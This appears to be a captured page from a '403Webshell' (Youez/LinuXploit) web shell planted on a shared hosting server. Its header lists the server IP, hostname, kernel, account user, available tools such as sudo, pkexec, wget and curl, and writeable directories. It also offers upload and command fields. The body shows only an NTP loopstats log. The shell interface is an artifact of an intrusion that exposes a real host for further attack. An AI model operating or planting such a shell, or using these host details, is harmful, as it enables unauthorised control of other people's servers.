403Webshell
Server IP : 162.144.4.212  /  Your IP : 216.73.216.108
Web Server : Apache
System : Linux gator2125.hostgator.com 5.14.0-162.23.1.9991722448259.nf.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 31 18:11:45 UTC 2024 x86_64
User : cozeellc ( 2980)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /var/log/ntpstats/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /var/log/ntpstats/loopstats.20250124
60699 740.939 0.001899563 -14.518 0.000470048 0.094087 10
60699 1809.031 0.001684700 -14.511 0.000446204 0.088042 10
60699 2852.951 0.001595495 -14.505 0.000418575 0.082385 10
60699 3924.024 0.001256474 -14.500 0.000409477 0.077084 10
60699 4989.988 0.000966686 -14.496 0.000396497 0.072119 10
60699 7145.031 0.000690638 -14.411 0.000383515 0.073943 10
60699 9215.013 0.000359988 -14.365 0.000377312 0.071074 10
60699 10268.940 0.000147786 -14.364 0.000360829 0.066484 10
60699 11309.006 -0.000102401 -14.364 0.000348923 0.062190 10
60699 12935.031 -0.000021143 -14.365 0.000327649 0.058174 10
60699 14404.031 -0.000166959 -14.365 0.000310794 0.054417 10
60699 15488.987 -0.000264440 -14.366 0.000292757 0.050904 10
60699 17616.014 -0.000255990 -14.399 0.000273865 0.048951 10
60699 18703.031 -0.000451389 -14.400 0.000265329 0.045794 10
60699 19281.031 -0.000691788 -14.402 0.000262342 0.042839 10
60699 19733.031 -0.000855145 -14.403 0.000252104 0.040076 10
60699 21803.001 -0.000845990 -14.512 0.000235843 0.053695 10
60699 23495.031 -0.000825621 -14.517 0.000220729 0.050261 10
60699 25603.981 -0.000868350 -14.627 0.000207025 0.060971 10
60699 26680.030 -0.000916711 -14.631 0.000194407 0.057048 10
60699 28756.031 -0.000772110 -14.730 0.000188901 0.063810 10
60699 29109.031 -0.000626369 -14.731 0.000184060 0.059689 10
60699 31215.031 -0.000618870 -14.809 0.000172193 0.062324 10
60699 33333.031 -0.000920814 -14.925 0.000193237 0.071272 10
60699 35414.032 0.000160968 -14.904 0.000423031 0.067066 10
60699 37499.031 0.000837437 -14.797 0.000462371 0.073243 10
60699 38543.942 0.001162897 -14.793 0.000447553 0.068531 10
60699 39582.031 0.001331708 -14.788 0.000422881 0.064131 10
60699 41658.014 0.001078276 -14.649 0.000405590 0.077366 10
60699 43750.031 0.000887133 -14.537 0.000385366 0.082653 10
60699 45888.031 0.000515262 -14.472 0.000383705 0.080594 10
60699 46957.955 0.000368165 -14.471 0.000362672 0.075390 10
60699 49085.955 0.000136853 -14.454 0.000348966 0.070781 10
60699 49926.957 0.000182586 -14.453 0.000326828 0.066210 10
60699 50142.030 -0.000052331 -14.453 0.000316801 0.061934 10
60699 52279.031 0.000025922 -14.450 0.000297629 0.057945 10
60699 53114.031 0.000094860 -14.449 0.000279472 0.054203 10
60699 53321.019 -0.000174427 -14.450 0.000278219 0.050702 10
60699 54375.031 -0.000280773 -14.451 0.000262952 0.047429 10
60699 56473.030 -0.000523031 -14.517 0.000260455 0.050198 10
60699 58597.031 -0.000408294 -14.568 0.000246988 0.050335 10
60699 59450.031 -0.000073989 -14.569 0.000259514 0.047084 10
60699 59639.031 -0.000117744 -14.569 0.000243246 0.044043 10
60699 60703.031 -0.000127262 -14.569 0.000227560 0.041199 10
60699 61591.031 0.000040691 -14.569 0.000220991 0.038538 10
60699 61728.025 -0.000137451 -14.569 0.000216100 0.036049 10
60699 63853.031 0.000244381 -14.538 0.000243077 0.035423 10
60699 64909.031 0.000182342 -14.538 0.000228433 0.033136 10
60699 65950.030 0.000374661 -14.536 0.000224237 0.031000 10
60699 68008.006 0.000954144 -14.413 0.000293210 0.052332 10
60699 68070.994 0.001040097 -14.413 0.000275951 0.048952 10
60699 69113.986 0.000896385 -14.409 0.000263082 0.045807 10
60699 71221.953 0.000042537 -14.404 0.000389477 0.042891 10
60699 72273.030 -0.000126500 -14.404 0.000369192 0.040121 10
60699 73329.937 -0.000639885 -14.407 0.000390142 0.037540 10
60699 74391.937 -0.000705854 -14.410 0.000365689 0.035130 10
60699 76511.031 -0.000882703 -14.521 0.000347738 0.051204 10
60699 77570.969 -0.000680481 -14.524 0.000333044 0.047907 10
60699 79715.013 -0.000578699 -14.596 0.000313605 0.051550 10
60699 80789.935 -0.000240983 -14.597 0.000316720 0.048221 10
60699 81830.028 -0.000150340 -14.597 0.000297992 0.045108 10
60699 82913.031 -0.000144466 -14.598 0.000278754 0.042195 10
60699 84985.031 -0.000509873 -14.663 0.000291000 0.045755 10

Youez - 2016 - github.com/yon3zu
LinuXploit